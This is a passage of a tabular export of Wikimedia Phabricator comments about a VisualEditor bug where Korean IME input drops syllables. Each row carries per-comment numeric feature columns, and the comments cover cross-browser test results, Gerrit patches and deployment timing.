Also, comment 25 's 'backspace does not work' still happens to me."
250877,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Thanks very much for the video -- that's a great help!

I agree about the events. Actually I think it's every browser/OS/IME combination, so it's really troublesome.

As far as I can tell, there are actually two issues at the moment:

(1) Entering Korean text into an empty paragraph, and
(2) Entering Korean text into a non-empty paragraph.

Your video shows that case (1) is still broken. In order to test (2), would it be possible to try typing ""hello"", and then start typing Korean immediately after the ""o"" (i.e. without starting a new line/paragraph)?

I have done these sorts of tests, but I can't reproduce the behaviour you show in the video, presumably because of some slight difference between our test platforms.

Thanks again!",,,1381353945,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,14,,1.5,0.0,0.5,0.5,0.5,5.5,0.5,0.5,0.0,0.0,2.5,0.5,0.0,0.0,0.5,3.0,0.0,7.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,5.0,1.5,1.5,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.5,13.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,5.5,1.5,9.5,1.0,1.5,8.0,0.0,0.0,1.0,0.0,3.5,0.5,1.0,0.0,6.0,9.0,1.5,0.5,2.5,0.0,6.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,2.0,3.5747126436781613,0.7471264367816093,"Thanks very much for the video -- that's a great help!

I agree about the events. Actually I think it's every browser/OS/IME combination, so it's really troublesome.

As far as I can tell, there are actually two issues at the moment:

(1) Entering Korean text into an empty paragraph, and
(2) Entering Korean text into a non-empty paragraph.

Your video shows that case (1) is still broken. In order to test (2), would it be possible to try typing ""hello"", and then start typing Korean immediately after the ""o"" (i.e. without starting a new line/paragraph)?

I have done these sorts of tests, but I can't reproduce the behaviour you show in the video, presumably because of some slight difference between our test platforms.

Thanks again!"
250867,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**heesub** wrote:

(In reply to comment #34)
> Would it be possible to test against current master? We believe that we have
> fixed this (or, at least, change the behaviour) since you tested it with
> cba2935 (thank you!).

I've tested the latest version and uploaded a video clip which shows what is happening on VisualEditor with Korean characters. You can find the video on this link: http://youtu.be/-Q8n4vNONm0

I am not a JavaScript or web programming expert, it seems that every browser out there has different behaviors on firing and processing compositionStart/End and keyDown events. Take a look at this document: http://joone4u.blogspot.kr/2010/07/composition-events-are-handled_27.html

After digging this issue, I found some combinations which avoid this issue:
 - Safari, Google Chrome (maybe every other browsers, but not tested) on Mac OS X. and change preference settings of Korean IME: set 'Input by' to 'Word' not 'Syllable' which is default.
 - Firefox on Ubuntu

Hope this helps!",,,1381297658,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,14,,1.5,0.0,0.0,0.0,1.5,2.5,0.5,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.0,1.5,1.0,3.5,8.5,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,5.0,2.0,0.5,1.5,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,15.0,0.5,2.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.5,1.5,17.0,0.5,3.5,9.0,0.0,0.0,0.5,0.5,2.0,0.0,0.5,0.0,2.5,8.5,9.5,0.0,3.5,0.0,2.5,0.0,2.0,1.5,0.0,2.0,0.0,0.5,0.0,3.835292389068469,0.7695415809579782,"**heesub** wrote:

(In reply to comment #34)
QUOTE
QUOTE
QUOTE

I've tested the latest version and uploaded a video clip which shows what is happening on VisualEditor with Korean characters. You can find the video on this link: URL

I am not a JavaScript or web programming expert, it seems that every browser out there has different behaviors on firing and processing compositionStart/End and keyDown events. Take a look at this document: URL

After digging this issue, I found some combinations which avoid this issue:
 - Safari, Google Chrome (maybe every other browsers, but not tested) on Mac OS X. and change preference settings of Korean IME: set 'Input by' to 'Word' not 'Syllable' which is default.
 - Firefox on Ubuntu

Hope this helps!"
250860,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Would it be possible to test against current master? We believe that we have fixed this (or, at least, change the behaviour) since you tested it with cba2935 (thank you!).",,,1381268160,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,5.0,3.0,5.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,15.0,15.0,0.0,3.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.641025641025641,0.8717948717948718,"Would it be possible to test against current master? We believe that we have fixed this (or, at least, change the behaviour) since you tested it with cba2935 (thank you!)."
250854,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**heesub** wrote:

(In reply to comment #32)
> I am suffering from this issue, tested on the latest version from mediawiki's
> core.git: 217fd43. The odd thing is that it seems to work properly on Firefox
> which comes with Ubuntu 13.04 LTS distribution(, but not perfectly).

I'd tested on VisualEditor.git: cba2935 and also with patchset v16 by David Chan. Not fixed.",,,1380390102,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,2.0,12.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.261904761904762,0.7619047619047619,"**heesub** wrote:

(In reply to comment #32)
QUOTE
QUOTE
QUOTE

I'd tested on VisualEditor.git: cba2935 and also with patchset v16 by David Chan. Not fixed."
250849,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**heesub** wrote:

I am suffering from this issue, tested on the latest version from mediawiki's core.git: 217fd43. The odd thing is that it seems to work properly on Firefox which comes with Ubuntu 13.04 LTS distribution(, but not perfectly).

I've tried:
* IE on Windows 7 : not working
* Google Chrome on Windows 7 : not working
* Google Chrome on Ubuntu 13.04 : not working
* Safari on Mac OSX 10.8.5: not working
* Google Chrome on Mac OSX 10.8.5: not working
* Firefox on Ubuntu 13.04 : WORKING

I hope this information help you guys so that it gets fixed.",,,1380388534,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.5,0.0,4.5,1.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,5.5,9.5,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.5,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,17.0,2.0,0.5,3.0,0.0,0.0,0.0,0.0,1.5,0.0,4.0,0.0,4.0,9.5,17.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,0.0,4.5,0.0,0.5,0.5,3.6076923076923078,0.6384615384615384,"**heesub** wrote:

I am suffering from this issue, tested on the latest version from mediawiki's core.git: 217fd43. The odd thing is that it seems to work properly on Firefox which comes with Ubuntu 13.04 LTS distribution(, but not perfectly).

I've tried:
* IE on Windows 7 : not working
* Google Chrome on Windows 7 : not working
* Google Chrome on Ubuntu 13.04 : not working
* Safari on Mac OSX 10.8.5: not working
* Google Chrome on Mac OSX 10.8.5: not working
* Firefox on Ubuntu 13.04 : WORKING

I hope this information help you guys so that it gets fixed."
250843,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #30)
> (In reply to comment #29)
> > Marking this as ""FIXED"" on the expectation that it's fixed - please re-open
> > if
> > you find that it is still occurring.
> 
> I am sorry. It is not fixed.  I tested on mediawiki.org.

:-(

> I open it again.

OK, we'll look at it urgently. Sorry for this.",,,1380074042,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,3.0,5.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8684210526315788,0.631578947368421,"(In reply to comment #30)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

:-(

QUOTE

OK, we'll look at it urgently. Sorry for this."
250837,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:

(In reply to comment #29)
> Marking this as ""FIXED"" on the expectation that it's fixed - please re-open
> if
> you find that it is still occurring.

I am sorry. It is not fixed.  I tested on mediawiki.org.

I open it again.",,,1380073592,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,11.0,7.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.7045454545454546,0.6818181818181818,"**ryuch** wrote:

(In reply to comment #29)
QUOTE
QUOTE
QUOTE

I am sorry. It is not fixed.  I tested on mediawiki.org.

I open it again."
250830,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring.",,,1378958879,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,11.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,11.0,22.0,4.0,0.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.5185185185185186,0.8518518518518519,"Marking this as ""FIXED"" on the expectation that it's fixed - please re-open if you find that it is still occurring."
250820,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943135,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
250809,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:

(In reply to comment #26)
> (In reply to comment #25)
> > https://gerrit.wikimedia.org/r/#/c/79451 did not fix the problem
> 
> Just to avoid misunderstandings: How did you test this? Do you run a private
> wiki with recent VisualEditor from git master?

Not on a private one, I ran on  MediaWiki.Org, specifically on  [[mw:VisualEditor:Test]].



> 
> > I found another thing, when the cursor is after Korean letters backspace does
> > not work.
> 
> Please file separate bug reports for separate issues. Thanks! :)

I think the space problem is caused by this bug. I suppose we need to fix error  of synchronization between DM and CE.

Thank you, too.",,,1377510579,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,9.0,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,23.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,0.0,5.0,9.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,3.0309278350515463,0.5876288659793815,"**ryuch** wrote:

(In reply to comment #26)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not on a private one, I ran on  MediaWiki.Org, specifically on  [[mw:VisualEditor:Test]].



QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think the space problem is caused by this bug. I suppose we need to fix error  of synchronization between DM and CE.

Thank you, too."
250797,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #25)
> https://gerrit.wikimedia.org/r/#/c/79451 did not fix the problem

Just to avoid misunderstandings: How did you test this? Do you run a private wiki with recent VisualEditor from git master?

> I found another thing, when the cursor is after Korean letters backspace does
> not work.

Please file separate bug reports for separate issues. Thanks! :)",,,1377508996,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,2.0,0.0,4.0,0.0,2.0,2.0,2.0,10.0,2.0,2.0,0.0,4.0,12.0,4.0,4.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8846153846153846,0.8269230769230769,"(In reply to comment #25)
QUOTE

Just to avoid misunderstandings: How did you test this? Do you run a private wiki with recent VisualEditor from git master?

QUOTE
QUOTE

Please file separate bug reports for separate issues. Thanks! :)"
250787,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"**ryuch** wrote:

(In reply to comment #16)
> I believe the following patch resolves the problem on those platforms where
> there still was one: https://gerrit.wikimedia.org/r/#/c/79451 . At least, the
> patch seems to fix the Korean ibus method on Ubuntu+Chromium. However it's
> hard
> to be sure because of the problems reproducing the bug.

David,

https://gerrit.wikimedia.org/r/#/c/79451 did not fix the problem even Chrome on Ubuntu, if the code is applied to MediaWiki.org as James said.

I found another thing, when the cursor is after Korean letters backspace does not work.",,,1377501235,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,1.0,3.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,10.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,20.0,3.0,0.0,6.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,10.0,14.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.414285714285714,0.6857142857142857,"**ryuch** wrote:

(In reply to comment #16)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

David,

URL did not fix the problem even Chrome on Ubuntu, if the code is applied to MediaWiki.org as James said.

I found another thing, when the cursor is after Korean letters backspace does not work."
250778,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"(In reply to comment #22)
> We can check on en.wikipedia or ko.wikipedia, only,
> if the problem fixed.
> 
> So can you apply it on there?

The code will be applied as part of the normal MediaWiki release cycle, which you can see here: [[mw:MediaWiki_1.22/Roadmap#Schedule_for_the_deployments]].

This code is tagged against the release that happened this morning (""wmf14"") - this means that the code is available now on MediaWiki.org, and will be available on all Wikipedias (including the English and Korean Wikipedias) next Thursday, 29 August, at approximately 18:00 UTC.

If you want to test and confirm the code, you can edit pages on MediaWiki.org like [[mw:VisualEditor:Test]]. Also, all code is immediately available on the ""Beta labs"" testing site, which can also be edited (note that it uses a different account system to production ""real"" Wikipedias): http://en.wikipedia.beta.wmflabs.org/wiki/VisualEditor 

Hope this helps!",,,1377207897,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,1.0,0.0,0.0,1.5,0.0,4.5,1.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,8.5,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,1.0,0.0,4.0,2.0,0.5,1.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.5,1.0,12.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.0,3.0,14.5,1.5,1.5,8.5,0.0,0.0,0.5,0.5,5.0,0.0,2.0,0.0,2.0,8.5,7.5,0.0,3.5,0.0,2.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,3.0,3.947206629243518,0.7228013900026731,"(In reply to comment #22)
QUOTE
QUOTE
QUOTE
QUOTE

The code will be applied as part of the normal MediaWiki release cycle, which you can see here: [[mw:MediaWiki_1.22/Roadmap#Schedule_for_the_deployments]].

This code is tagged against the release that happened this morning (""wmf14"") - this means that the code is available now on MediaWiki.org, and will be available on all Wikipedias (including the English and Korean Wikipedias) next Thursday, 29 August, at approximately 18:00 UTC.

If you want to test and confirm the code, you can edit pages on MediaWiki.org like [[mw:VisualEditor:Test]]. Also, all code is immediately available on the ""Beta labs"" testing site, which can also be edited (note that it uses a different account system to production ""real"" Wikipedias): URL 

Hope this helps!"
250770,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,Yes. All code in master is eventually deployed during our scheduled deployments. If you want to test the code ahead of the deployment you will have to check it out locally.,,,1377206906,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,21.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,12.0,21.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.176470588235294,0.8235294117647058,Yes. All code in master is eventually deployed during our scheduled deployments. If you want to test the code ahead of the deployment you will have to check it out locally.
250764,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"We can check on en.wikipedia or ko.wikipedia, only,
if the problem fixed.

So can you apply it on there?",,,1377206495,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,12.0,8.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.52,0.88,"We can check on en.wikipedia or ko.wikipedia, only,
if the problem fixed.

So can you apply it on there?"
250759,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"No, it hasn't been deployed to en.wiki yet.",,,1377206285,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,1.0,"No, it hasn't been deployed to en.wiki yet."
250753,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Sorry, but If you applied it on en.wikipedia. it yet not fixed.",,,1377205809,,PHID-USER-ipgdr6xrndwpztdrubk4,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,13.0,7.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8666666666666667,"Sorry, but If you applied it on en.wikipedia. it yet not fixed."
250748,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!",,,1377202366,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,11.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.4571428571428573,0.8,"Given that this is now merged, I'm going to mark this as fixed. However, this is provisional - please re-open if you think that this has not worked!"
250744,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

https://gerrit.wikimedia.org/r/80080",,,1377164934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v3iakko3iymlxqo43aix,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.95,"Change 80080 merged by jenkins-bot:
Don't emit Surface changes back to the Surface

GERRIT_URL"
250738,VisualEditor: CE eats up syllables except a last syllable of a word in Korean IME,"Change 80080 had a related patch set uploaded by Jforrester:
WIP:Don't emit Surface changes back to the Surface

